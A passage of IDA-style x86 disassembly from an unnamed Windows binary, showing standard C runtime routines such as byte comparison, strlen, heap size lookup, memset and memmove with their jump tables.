		movzx	esi, byte ptr [eax-8]
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40C74A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C74A
; ---------------------------------------------------------------------------

loc_40C748:				; CODE XREF: sub_40B323+13A6j
		xor	esi, esi

loc_40C74A:				; CODE XREF: sub_40B323+1414j
					; sub_40B323+1423j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C752:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		mov	edx, [eax-7]	; jumptable 0040B7E8 case 7
		cmp	edx, [ecx-7]
		jz	short loc_40C7D7
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40C77A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C77A:				; CODE XREF: sub_40B323+1440j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40C79B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C79B:				; CODE XREF: sub_40B323+1461j
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40C7BC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B7EF

loc_40C7BC:				; CODE XREF: sub_40B323+1482j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40C7D9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40C7D9
; ---------------------------------------------------------------------------

loc_40C7D7:				; CODE XREF: sub_40B323+1435j
		xor	esi, esi

loc_40C7D9:				; CODE XREF: sub_40B323+14A3j
					; sub_40B323+14B2j
		test	esi, esi
		jnz	loc_40B7EF

loc_40C7E1:				; CODE XREF: sub_40B323+4C5j
					; DATA XREF: .text:off_40C923o
		movzx	esi, byte ptr [eax-3] ;	jumptable 0040B7E8 case	3
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	loc_40C3CE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jz	loc_40C3CE

loc_40C804:				; CODE XREF: sub_40B323+10C8j
		mov	eax, edx
		jmp	loc_40BBC4
; ---------------------------------------------------------------------------

loc_40C80B:				; CODE XREF: sub_40B323+29j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40C830
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40C91D

loc_40C830:				; CODE XREF: sub_40B323+14F6j
		movzx	eax, byte ptr [ecx+1]
		movzx	edx, byte ptr [esi+1]
		sub	eax, edx
		jz	short loc_40C851
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40C91D

loc_40C851:				; CODE XREF: sub_40B323+1517j
		movzx	eax, byte ptr [ecx+2]
		movzx	edx, byte ptr [esi+2]
		sub	eax, edx
		jz	short loc_40C872
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40C91D

loc_40C872:				; CODE XREF: sub_40B323+1538j
		movzx	eax, byte ptr [ecx+3]
		movzx	ecx, byte ptr [esi+3]

loc_40C87A:				; CODE XREF: sub_40B323+15B7j
					; sub_40B323+15E2j ...
		sub	eax, ecx
		jz	loc_40C91D
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	loc_40C91D
; ---------------------------------------------------------------------------

loc_40C894:				; CODE XREF: sub_40B323+22j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40C8B5
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40C91D

loc_40C8B5:				; CODE XREF: sub_40B323+157Fj
		movzx	eax, byte ptr [ecx+1]
		movzx	edx, byte ptr [esi+1]
		sub	eax, edx
		jz	short loc_40C8D2
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40C91D

loc_40C8D2:				; CODE XREF: sub_40B323+159Cj
		movzx	eax, byte ptr [ecx+2]
		movzx	ecx, byte ptr [esi+2]
		jmp	short loc_40C87A
; ---------------------------------------------------------------------------

loc_40C8DC:				; CODE XREF: sub_40B323+1Bj
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40C8FD
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40C91D

loc_40C8FD:				; CODE XREF: sub_40B323+15C7j
		movzx	eax, byte ptr [ecx+1]
		movzx	ecx, byte ptr [esi+1]
		jmp	loc_40C87A
; ---------------------------------------------------------------------------

loc_40C90A:				; CODE XREF: sub_40B323+14j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]
		jmp	loc_40C87A
; ---------------------------------------------------------------------------

loc_40C91B:				; CODE XREF: sub_40B323+Dj
		xor	eax, eax

loc_40C91D:				; CODE XREF: sub_40B323+8A2j
					; sub_40B323+1507j ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40B323	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_40C923	dd offset loc_40BBC2	; DATA XREF: sub_40B323+4C5r
		dd offset loc_40BFB4	; jump table for switch	statement
		dd offset loc_40C3C0
		dd offset loc_40C7E1
		dd offset loc_40BB45
		dd offset loc_40BF25
		dd offset loc_40C331
		dd offset loc_40C752
		dd offset loc_40BAB6
		dd offset loc_40BE95
		dd offset loc_40C2A1
		dd offset loc_40C6C3
		dd offset loc_40BA26
		dd offset loc_40BE06
		dd offset loc_40C212
		dd offset loc_40C633
		dd offset loc_40B997
		dd offset loc_40BD77
		dd offset loc_40C183
		dd offset loc_40C5A4
		dd offset loc_40B908
		dd offset loc_40BCE8
		dd offset loc_40C0F4
		dd offset loc_40C515
		dd offset loc_40B879
		dd offset loc_40BC59
		dd offset loc_40C065
		dd offset loc_40C486
		dd offset loc_40B7F6
		dd offset loc_40BBCA
		dd offset loc_40BFD6
		dd offset loc_40C3F6
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C9B0	proc near		; CODE XREF: sub_40140A+C6p
					; sub_40140A+CFp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40C9E0

loc_40C9BC:				; CODE XREF: sub_40C9B0+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40CA13
		test	ecx, 3
		jnz	short loc_40C9BC
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]

loc_40C9E0:				; CODE XREF: sub_40C9B0+Aj
					; sub_40C9B0+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40C9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40CA31
		test	ah, ah
		jz	short loc_40CA27
		test	eax, 0FF0000h
		jz	short loc_40CA1D
		test	eax, 0FF000000h
		jz	short loc_40CA13
		jmp	short loc_40C9E0
; ---------------------------------------------------------------------------

loc_40CA13:				; CODE XREF: sub_40C9B0+13j
					; sub_40C9B0+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40CA1D:				; CODE XREF: sub_40C9B0+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40CA27:				; CODE XREF: sub_40C9B0+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_40CA31:				; CODE XREF: sub_40C9B0+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40C9B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA3B	proc near		; CODE XREF: sub_401000+364p
					; sub_402592+96p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_4219E0
		call	__SEH_prolog4
		xor	eax, eax
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		cmp	ebx, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_40CA74
		call	sub_40FCB4
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CAC7
; ---------------------------------------------------------------------------

loc_40CA74:				; CODE XREF: sub_40CA3B+1Aj
		cmp	dword_434E3C, 3
		jnz	short loc_40CAB5
		push	4
		call	sub_40FED7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_410005
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_40CAA1
		mov	esi, [ebx-4]
		sub	esi, 9
		mov	[ebp+var_1C], esi
		jmp	short loc_40CAA4
; ---------------------------------------------------------------------------

loc_40CAA1:				; CODE XREF: sub_40CA3B+59j
		mov	esi, [ebp+var_1C]

loc_40CAA4:				; CODE XREF: sub_40CA3B+64j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40CAD5
		cmp	[ebp+var_20], edi
		jnz	short loc_40CAC5

loc_40CAB5:				; CODE XREF: sub_40CA3B+40j
		push	ebx
		push	edi
		push	dword_425FC8
		call	ds:dword_41E1B4	; RtlSizeHeap
		mov	esi, eax

loc_40CAC5:				; CODE XREF: sub_40CA3B+78j
		mov	eax, esi

loc_40CAC7:				; CODE XREF: sub_40CA3B+37j
		call	__SEH_epilog4
		retn
sub_40CA3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CACD	proc near		; DATA XREF: ev73vtp2:004219F8o
		xor	edi, edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_40CACD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CAD5	proc near		; CODE XREF: sub_40CA3B+70p
		push	4
		call	sub_40FDFF
		pop	ecx
		retn
sub_40CAD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CADE	proc near		; CODE XREF: sub_401000+1Dp
		jmp	ds:dword_41E1B8
sub_40CADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAE4	proc near		; CODE XREF: sub_40158F+EEp
					; sub_401AD1+54p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40CB0F
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CB8E
; ---------------------------------------------------------------------------

loc_40CB0F:				; CODE XREF: sub_40CAE4+Cj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_40CB3B
		cmp	esi, ebx
		jnz	short loc_40CB3B
		call	sub_40FCB4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40CB8D
; ---------------------------------------------------------------------------

loc_40CB3B:				; CODE XREF: sub_40CAE4+34j
					; sub_40CAE4+38j
		mov	eax, 7FFFFFFFh
		cmp	ecx, eax
		mov	[ebp+var_1C], eax
		ja	short loc_40CB4A
		mov	[ebp+var_1C], ecx

loc_40CB4A:				; CODE XREF: sub_40CAE4+61j
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_410EB7
		add	esp, 10h
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_40CB8C
		dec	[ebp+var_1C]
		js	short loc_40CB7E
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40CB8A
; ---------------------------------------------------------------------------

loc_40CB7E:				; CODE XREF: sub_40CAE4+91j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_410CB6
		pop	ecx
		pop	ecx

loc_40CB8A:				; CODE XREF: sub_40CAE4+98j
		mov	eax, edi

loc_40CB8C:				; CODE XREF: sub_40CAE4+8Cj
		pop	edi

loc_40CB8D:				; CODE XREF: sub_40CAE4+55j
		pop	esi

loc_40CB8E:				; CODE XREF: sub_40CAE4+29j
		pop	ebx
		leave
		retn
sub_40CAE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CBA0	proc near		; CODE XREF: sub_401000+255p
					; sub_401000+2A6p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40CC15
		xor	eax, eax
		mov	al, [esp+arg_4]
		test	al, al
		jnz	short loc_40CBCC
		cmp	edx, 100h
		jb	short loc_40CBCC
		cmp	dword_434E20, 0
		jz	short loc_40CBCC
		jmp	sub_4118A6
; ---------------------------------------------------------------------------

loc_40CBCC:				; CODE XREF: sub_40CBA0+14j
					; sub_40CBA0+1Cj ...
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40CC05
		neg	ecx
		and	ecx, 3
		jz	short loc_40CBE7
		sub	edx, ecx

loc_40CBDD:				; CODE XREF: sub_40CBA0+45j
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_40CBDD

loc_40CBE7:				; CODE XREF: sub_40CBA0+39j
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40CC05
		rep stosd
		test	edx, edx
		jz	short loc_40CC0F

loc_40CC05:				; CODE XREF: sub_40CBA0+32j
					; sub_40CBA0+5Dj ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_40CC05

loc_40CC0F:				; CODE XREF: sub_40CBA0+63j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_40CC15:				; CODE XREF: sub_40CBA0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40CBA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40CC1A	proc near		; CODE XREF: sub_401000+396p
					; sub_4018E2+1Cp ...
		jmp	sub_40D352
sub_40CC1A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC20	proc near		; CODE XREF: sub_401B47+61p
					; sub_403879+F6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40CC40
		cmp	edi, eax
		jb	loc_40CDE4

loc_40CC40:				; CODE XREF: sub_40CC20+16j
		cmp	ecx, 100h
		jb	short loc_40CC67
		cmp	dword_434E20, 0
		jz	short loc_40CC67
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_40CC67
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_4119D0
; ---------------------------------------------------------------------------

loc_40CC67:				; CODE XREF: sub_40CC20+26j
					; sub_40CC20+2Fj ...
		test	edi, 3
		jnz	short loc_40CC84
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40CCA4
		rep movsd
		jmp	ds:off_40CD94[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40CC84:				; CODE XREF: sub_40CC20+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40CC9C
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_40CCA4+4[eax*4]
; ---------------------------------------------------------------------------

loc_40CC9C:				; CODE XREF: sub_40CC20+6Ej
		jmp	dword ptr ds:loc_40CDA4[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40CCA4:				; CODE XREF: sub_40CC20+58j
					; sub_40CC20+B6j ...
		jmp	ds:off_40CD28[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40CCB8
		dd offset loc_40CCE4
		dd offset loc_40CD08
; ---------------------------------------------------------------------------

loc_40CCB8:				; DATA XREF: sub_40CC20+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40CCA4
		rep movsd
		jmp	ds:off_40CD94[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40CCE4:				; DATA XREF: sub_40CC20+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40CCA4
		rep movsd
		jmp	ds:off_40CD94[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40CD08:				; DATA XREF: sub_40CC20+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_40CCA4
		rep movsd
		jmp	ds:off_40CD94[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40CD28	dd offset loc_40CD8B	; DATA XREF: sub_40CC20:loc_40CCA4r
		dd offset loc_40CD78
		dd offset loc_40CD70
		dd offset loc_40CD68
		dd offset loc_40CD60
		dd offset loc_40CD58
		dd offset loc_40CD50
		dd offset loc_40CD48
; ---------------------------------------------------------------------------

loc_40CD48:				; CODE XREF: sub_40CC20:loc_40CCA4j
					; DATA XREF: sub_40CC20+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_40CD50:				; CODE XREF: sub_40CC20:loc_40CCA4j
					; DATA XREF: sub_40CC20+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_40CD58:				; CODE XREF: sub_40CC20:loc_40CCA4j
					; DATA XREF: sub_40CC20+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_40CD60:				; CODE XREF: sub_40CC20:loc_40CCA4j
					; DATA XREF: sub_40CC20+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_40CD68:				; CODE XREF: sub_40CC20:loc_40CCA4j
					; DATA XREF: sub_40CC20+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_40CD70:				; CODE XREF: sub_40CC20:loc_40CCA4j
					; DATA XREF: sub_40CC20+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_40CD78:				; CODE XREF: sub_40CC20:loc_40CCA4j
					; DATA XREF: sub_40CC20+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_40CD8B:				; CODE XREF: sub_40CC20:loc_40CCA4j
					; DATA XREF: sub_40CC20:off_40CD28o
		jmp	ds:off_40CD94[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40CD94	dd offset loc_40CDA4	; DATA XREF: sub_40CC20+5Cr
					; sub_40CC20+BAr ...
		dd offset loc_40CDAC
		dd offset loc_40CDB8
		dd offset loc_40CDCC
; ---------------------------------------------------------------------------

loc_40CDA4:				; CODE XREF: sub_40CC20+5Cj
					; sub_40CC20+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40CDAC:				; CODE XREF: sub_40CC20+5Cj
					; sub_40CC20+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40CDB8:				; CODE XREF: sub_40CC20+5Cj
					; sub_40CC20+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40CDCC:				; CODE XREF: sub_40CC20+5Cj
					; sub_40CC20+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40CDE4:				; CODE XREF: sub_40CC20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40CE18
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40CE0C
		std
		rep movsd
		cld
		jmp	ds:off_40CF30[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40CE0C:				; CODE XREF: sub_40CC20+1DDj
					; sub_40CC20+238j ...
		neg	ecx
		jmp	ds:off_40CEE0[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40CE18:				; CODE XREF: sub_40CC20+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40CE30
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_40CE30+4[eax*4]
; ---------------------------------------------------------------------------

loc_40CE30:				; CODE XREF: sub_40CC20+202j
					; DATA XREF: sub_40CC20+209r
		jmp	ds:off_40CF30[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40CE44
		dd offset loc_40CE68
		dd offset loc_40CE90
; ---------------------------------------------------------------------------

loc_40CE44:				; DATA XREF: sub_40CC20+218o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40CE0C
		std
		rep movsd
		cld
		jmp	ds:off_40CF30[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40CE68:				; DATA XREF: sub_40CC20+21Co
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40CE0C
		std
		rep movsd
		cld
		jmp	ds:off_40CF30[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_40CE90:				; DATA XREF: sub_40CC20+220o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40CE0C
		std
		rep movsd
		cld
		jmp	ds:off_40CF30[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_40CEE4
		dd offset loc_40CEEC
		dd offset loc_40CEF4
		dd offset loc_40CEFC
		dd offset loc_40CF04
		dd offset loc_40CF0C
		dd offset loc_40CF14
off_40CEE0	dd offset loc_40CF27	; DATA XREF: sub_40CC20+1EEr
; ---------------------------------------------------------------------------

loc_40CEE4:				; DATA XREF: sub_40CC20+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_40CEEC:				; DATA XREF: sub_40CC20+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_40CEF4:				; DATA XREF: sub_40CC20+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_40CEFC:				; DATA XREF: sub_40CC20+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_40CF04:				; DATA XREF: sub_40CC20+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_40CF0C:				; DATA XREF: sub_40CC20+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_40CF14:				; DATA XREF: sub_40CC20+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_40CF27:				; CODE XREF: sub_40CC20+1EEj
					; DATA XREF: sub_40CC20:off_40CEE0o
		jmp	ds:off_40CF30[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40CF30	dd offset loc_40CF40	; DATA XREF: sub_40CC20+1E3r
					; sub_40CC20:loc_40CE30r ...
		dd offset loc_40CF48
		dd offset loc_40CF58
		dd offset loc_40CF6C
; ---------------------------------------------------------------------------

loc_40CF40:				; CODE XREF: sub_40CC20+1E3j
					; sub_40CC20:loc_40CE30j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40CF48:				; CODE XREF: sub_40CC20+1E3j
					; sub_40CC20:loc_40CE30j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40CF58:				; CODE XREF: sub_40CC20+1E3j
					; sub_40CC20:loc_40CE30j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_40CF6C:				; CODE XREF: sub_40CC20+1E3j
					; sub_40CC20:loc_40CE30j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_40CC20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF85	proc near		; CODE XREF: sub_401BF2+Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40CFDA
		cmp	[ebp+arg_0], edi
		jnz	short loc_40CFB3

loc_40CF98:				; CODE XREF: sub_40CF85+31j
		call	sub_40FCB4
		push	16h
		pop	esi
		mov	[eax], esi

loc_40CFA2:				; CODE XREF: sub_40CF85+44j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40D31E
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_40CFDC
; ---------------------------------------------------------------------------

loc_40CFB3:				; CODE XREF: sub_40CF85+11j
		cmp	[ebp+arg_8], edi
		jz	short loc_40CF98
		cmp	[ebp+arg_4], eax
		jnb	short loc_40CFCB
		call	sub_40FCB4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40CFA2
; ---------------------------------------------------------------------------

loc_40CFCB:				; CODE XREF: sub_40CF85+36j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_411AC0
		add	esp, 0Ch

loc_40CFDA:				; CODE XREF: sub_40CF85+Cj
		xor	eax, eax

loc_40CFDC:				; CODE XREF: sub_40CF85+2Cj
